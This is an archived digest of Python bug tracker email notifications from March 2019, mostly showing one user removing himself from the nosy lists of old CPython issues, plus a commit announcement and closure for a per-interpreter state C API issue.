Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1576313>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:32:49 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:32:49 +0000
Subject: [issue16272] C-API documentation clarification for tp_dictoffset
In-Reply-To: <1350520063.61.0.687481658196.issue16272@psf.upfronthosting.co.za>
Message-ID: <1552692769.22.0.115718707919.issue16272@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16272>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:34:04 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:34:04 +0000
Subject: [issue19415] test_gdb fails when using --without-doc-strings on
 Fedora 19
In-Reply-To: <1382851899.25.0.924998884504.issue19415@psf.upfronthosting.co.za>
Message-ID: <1552692844.93.0.684033229328.issue19415@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19415>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:35:14 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:35:14 +0000
Subject: [issue9739] Output of help(...) is wider than 80 characters
In-Reply-To: <1283403700.53.0.514117826781.issue9739@psf.upfronthosting.co.za>
Message-ID: <1552692914.28.0.560489368719.issue9739@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9739>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:36:08 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:36:08 +0000
Subject: [issue18017] ctypes.PyDLL documentation
In-Reply-To: <1369010319.69.0.913023030404.issue18017@psf.upfronthosting.co.za>
Message-ID: <1552692968.92.0.533472794713.issue18017@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18017>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:36:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:36:34 +0000
Subject: [issue6462] bsddb3 intermittent test failures
In-Reply-To: <1247329933.16.0.47150397.issue6462@psf.upfronthosting.co.za>
Message-ID: <1552692994.54.0.442362127688.issue6462@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6462>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:36:56 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:36:56 +0000
Subject: [issue13372] handle_close called twice in poll2
In-Reply-To: <1320773533.14.0.440579615875.issue13372@psf.upfronthosting.co.za>
Message-ID: <1552693016.71.0.373386097347.issue13372@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13372>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:37:20 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:37:20 +0000
Subject: [issue8918] distutils test_config_cmd failure on Solaris
In-Reply-To: <1275846660.59.0.731483262347.issue8918@psf.upfronthosting.co.za>
Message-ID: <1552693040.46.0.327034184502.issue8918@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8918>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:37:49 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:37:49 +0000
Subject: [issue9194] winreg:fixupMultiSZ should check that P < Q in the inner
 loop
In-Reply-To: <1278558407.29.0.39315930303.issue9194@psf.upfronthosting.co.za>
Message-ID: <1552693069.39.0.810979140418.issue9194@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9194>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:38:20 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:38:20 +0000
Subject: [issue8908] friendly errors for UAC misbehavior in windows installers
In-Reply-To: <1275756301.53.0.564921810654.issue8908@psf.upfronthosting.co.za>
Message-ID: <1552693100.74.0.658172838376.issue8908@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8908>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:38:43 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:38:43 +0000
Subject: [issue7932] print statement delayed IOError when stdout has been
 closed
In-Reply-To: <1266195907.59.0.6287236457.issue7932@psf.upfronthosting.co.za>
Message-ID: <1552693123.69.0.9996550585.issue7932@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7932>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:39:14 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:39:14 +0000
Subject: [issue7982] extend captured_output to simulate different
 stdout.encoding
In-Reply-To: <1266844157.92.0.671833558035.issue7982@psf.upfronthosting.co.za>
Message-ID: <1552693154.53.0.496219591038.issue7982@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7982>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:39:40 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:39:40 +0000
Subject: [issue5888] mmap enhancement - resize with sequence notation
In-Reply-To: <1241116451.53.0.52928290171.issue5888@psf.upfronthosting.co.za>
Message-ID: <1552693180.2.0.307690654107.issue5888@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue5888>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:40:09 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:40:09 +0000
Subject: [issue12179] Race condition using PyGILState_Ensure on a new thread
In-Reply-To: <1306353494.72.0.953237135168.issue12179@psf.upfronthosting.co.za>
Message-ID: <1552693209.75.0.975607380469.issue12179@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12179>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:40:36 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:40:36 +0000
Subject: [issue12201] Returning FILETIME is unsupported in
 msilib.SummaryInformation.GetProperty()
In-Reply-To: <1306590826.19.0.496191579279.issue12201@psf.upfronthosting.co.za>
Message-ID: <1552693236.08.0.219516753298.issue12201@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12201>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:40:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:40:58 +0000
Subject: [issue10514] configure does not create accurate Makefile on AIX
In-Reply-To: <1290519521.61.0.0855233461913.issue10514@psf.upfronthosting.co.za>
Message-ID: <1552693258.61.0.762059687194.issue10514@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10514>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:41:27 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:41:27 +0000
Subject: [issue8630] Keepends param in codec readline(s)
In-Reply-To: <1273077495.73.0.386813094956.issue8630@psf.upfronthosting.co.za>
Message-ID: <1552693287.67.0.414391983819.issue8630@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8630>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:42:49 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:42:49 +0000
Subject: [issue12506] NIS module cant handle multiple NIS map entries for the
 same GID
In-Reply-To: <1309956537.93.0.737876319543.issue12506@psf.upfronthosting.co.za>
Message-ID: <1552693369.63.0.782675227072.issue12506@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12506>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:43:16 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:43:16 +0000
Subject: [issue12616] zip fixer fails on zip()[:-1]
In-Reply-To: <1311372700.75.0.0919550613362.issue12616@psf.upfronthosting.co.za>
Message-ID: <1552693396.46.0.743843676946.issue12616@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12616>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:44:02 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:44:02 +0000
Subject: [issue12622] failfast argument to TextTestRunner not documented
In-Reply-To: <1311448108.9.0.673600380151.issue12622@psf.upfronthosting.co.za>
Message-ID: <1552693442.31.0.386064451063.issue12622@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12622>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:44:31 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:44:31 +0000
Subject: [issue12653] Provide accelerators for all buttons in Windows
 installers
In-Reply-To: <1311935783.8.0.769443256699.issue12653@psf.upfronthosting.co.za>
Message-ID: <1552693471.09.0.211165706638.issue12653@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12653>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:45:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:45:22 +0000
Subject: [issue12872] --with-tsc crashes on ppc64
In-Reply-To: <1314827484.72.0.601008700485.issue12872@psf.upfronthosting.co.za>
Message-ID: <1552693522.99.0.811469508262.issue12872@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12872>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:47:48 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 23:47:48 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1552693668.11.0.645240793607.issue36124@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset d2fdd1fedf6b9dc785cf5025b548a989faed089a by Eric Snow in branch 'master':
bpo-36124: Add PyInterpreterState.dict. (gh-12132)
https://github.com/python/cpython/commit/d2fdd1fedf6b9dc785cf5025b548a989faed089a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:49:00 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 23:49:00 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1552693740.28.0.597523449464.issue36124@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

@arigo, thanks for nudging us here. :)  Let me know if there's anything else that would help here.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:52:42 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:52:42 +0000
Subject: [issue10978] Add optional argument to Semaphore.release for releasing
 multiple threads
In-Reply-To: <1295655336.58.0.55708711889.issue10978@psf.upfronthosting.co.za>
Message-ID: <1552693962.08.0.487058174481.issue10978@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10978>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:53:08 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:53:08 +0000
Subject: [issue12942] Shebang line fixer for 2to3
In-Reply-To: <1315531684.56.0.727993232351.issue12942@psf.upfronthosting.co.za>
Message-ID: <1552693988.57.0.465979913262.issue12942@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12942>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:53:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:53:33 +0000
Subject: [issue13074] Improve documentation of locale encoding functions
In-Reply-To: <1317370534.21.0.426762958064.issue13074@psf.upfronthosting.co.za>
Message-ID: <1552694013.53.0.77796968844.issue13074@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13074>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:53:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:53:58 +0000
Subject: [issue12613] itertools fixer fails
In-Reply-To: <1311353372.31.0.101702308601.issue12613@psf.upfronthosting.co.za>
Message-ID: <1552694038.59.0.881852311616.issue12613@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12613>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:54:44 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:54:44 +0000
Subject: [issue8387] use universal newline mode in csv module examples
In-Reply-To: <1271193086.18.0.201846291594.issue8387@psf.upfronthosting.co.za>
Message-ID: <1552694084.87.0.909227004585.issue8387@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8387>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:55:11 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:55:11 +0000
Subject: [issue1288056] pygettext: extract translators comments
Message-ID: <1552694111.04.0.422002519741.issue1288056@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1288056>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:55:35 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:55:35 +0000
Subject: [issue10558] non-standard processing of several configure options
 ignores "=no"
In-Reply-To: <1290914697.11.0.0589009147808.issue10558@psf.upfronthosting.co.za>
Message-ID: <1552694135.0.0.512141965206.issue10558@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10558>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:56:07 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:56:07 +0000
Subject: [issue8214] Add exception logging function to syslog module
In-Reply-To: <1269382333.64.0.598164519082.issue8214@psf.upfronthosting.co.za>
Message-ID: <1552694167.29.0.215320057792.issue8214@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8214>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:56:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:56:34 +0000
Subject: [issue14060] Implement a CSP-style channel
In-Reply-To: <1329699366.61.0.518357475552.issue14060@psf.upfronthosting.co.za>
Message-ID: <1552694194.04.0.787729443474.issue14060@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14060>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:56:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:56:58 +0000
Subject: [issue3620] test_smtplib is flaky
In-Reply-To: <1219244969.03.0.636728598981.issue3620@psf.upfronthosting.co.za>
Message-ID: <1552694218.85.0.293388543889.issue3620@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3620>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:57:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:57:22 +0000
Subject: [issue10195] Memory allocation fault-injection?
In-Reply-To: <1288052629.43.0.603183515135.issue10195@psf.upfronthosting.co.za>
Message-ID: <1552694242.95.0.68316318472.issue10195@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10195>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:58:10 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:58:10 +0000
Subject: [issue7202] "python setup.py cmd --verbose" does not set verbosity
In-Reply-To: <1256481428.97.0.691214379627.issue7202@psf.upfronthosting.co.za>
Message-ID: <1552694290.16.0.26557328052.issue7202@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7202>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:58:52 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:58:52 +0000
Subject: [issue10880] do_mkvalue and 'boolean'
In-Reply-To: <1294678522.28.0.674271875959.issue10880@psf.upfronthosting.co.za>
Message-ID: <1552694332.92.0.965528837964.issue10880@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10880>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:59:23 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:59:23 +0000
Subject: [issue12625] sporadic test_unittest failure
In-Reply-To: <1311454495.5.0.801093056111.issue12625@psf.upfronthosting.co.za>
Message-ID: <1552694363.71.0.188400923012.issue12625@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12625>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:59:53 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:59:53 +0000
Subject: [issue1528154] New sequences for Unicode groups and block ranges
 needed
Message-ID: <1552694393.12.0.637359138801.issue1528154@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1528154>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:00:24 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:00:24 +0000
Subject: [issue12589] test_long.test_nan_inf() failed on OpenBSD (powerpc)
In-Reply-To: <1311111634.81.0.556741280671.issue12589@psf.upfronthosting.co.za>
Message-ID: <1552694424.43.0.529355378282.issue12589@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12589>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:00:55 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:00:55 +0000
Subject: [issue13277] tzinfo subclasses information
In-Reply-To: <1319733607.49.0.8093265907.issue13277@psf.upfronthosting.co.za>
Message-ID: <1552694455.63.0.543130542068.issue13277@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13277>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:01:19 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:01:19 +0000
Subject: [issue1438480] shutil.move raises OSError when copystat fails
Message-ID: <1552694479.09.0.826653610326.issue1438480@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1438480>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:01:44 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:01:44 +0000
Subject: [issue13670] Increase test coverage for pstats.py
In-Reply-To: <1325081609.19.0.540376222409.issue13670@psf.upfronthosting.co.za>
Message-ID: <1552694504.82.0.867027009871.issue13670@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13670>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:02:52 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:02:52 +0000
Subject: [issue13421] PyCFunction_* are not documented anywhere
In-Reply-To: <1321553683.63.0.825049607384.issue13421@psf.upfronthosting.co.za>
Message-ID: <1552694572.25.0.545122621801.issue13421@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13421>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:03:17 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:03:17 +0000
Subject: [issue13681] Aifc read compressed frames fix
In-Reply-To: <1325243830.12.0.0659769703479.issue13681@psf.upfronthosting.co.za>
Message-ID: <1552694597.73.0.687117763919.issue13681@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13681>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:03:45 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:03:45 +0000
Subject: [issue9725] urllib.request.FancyURLopener won't connect to pages
 requiring username and password
In-Reply-To: <1283274337.79.0.0864543833676.issue9725@psf.upfronthosting.co.za>
Message-ID: <1552694625.5.0.580547742416.issue9725@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9725>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:04:08 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:04:08 +0000
Subject: [issue828450] sdist generates bad MANIFEST on Windows
Message-ID: <1552694648.55.0.112438476116.issue828450@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue828450>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:04:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:04:33 +0000
Subject: [issue8384] Better error message for executables not found
In-Reply-To: <1271121338.06.0.379239271673.issue8384@psf.upfronthosting.co.za>
Message-ID: <1552694673.6.0.588629034361.issue8384@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8384>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:05:01 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:05:01 +0000
Subject: [issue14547] Python symlink to script behaves unexpectedly
In-Reply-To: <1334155369.29.0.554259242167.issue14547@psf.upfronthosting.co.za>
Message-ID: <1552694701.0.0.949736037.issue14547@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14547>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:05:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:05:34 +0000
Subject: [issue14817] pkgutil.extend_path has no tests
In-Reply-To: <1337109540.72.0.0262382182113.issue14817@psf.upfronthosting.co.za>
Message-ID: <1552694734.72.0.0416155249182.issue14817@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14817>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:06:00 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:06:00 +0000
Subject: [issue3170] test_pydoc has no way to regenerate pristine data
In-Reply-To: <1214106427.35.0.304484848957.issue3170@psf.upfronthosting.co.za>
Message-ID: <1552694760.11.0.574610785459.issue3170@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3170>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:06:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:06:22 +0000
Subject: [issue3702] test_urllib2.test_trivial fails when run from another
 Windows drive
In-Reply-To: <1219845702.82.0.0720973084926.issue3702@psf.upfronthosting.co.za>
Message-ID: <1552694782.78.0.522381660165.issue3702@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3702>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:06:56 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:06:56 +0000
Subject: [issue13668] mute ImportError in __del__ of _threading_local module
In-Reply-To: <1325078293.01.0.773837635362.issue13668@psf.upfronthosting.co.za>
Message-ID: <1552694816.34.0.108111977218.issue13668@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13668>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:07:20 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:07:20 +0000
Subject: [issue13649] termios.ICANON is not documented
In-Reply-To: <1324566585.96.0.744911903947.issue13649@psf.upfronthosting.co.za>
Message-ID: <1552694840.0.0.767514888836.issue13649@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13649>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:07:43 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 16 Mar 2019 00:07:43 +0000
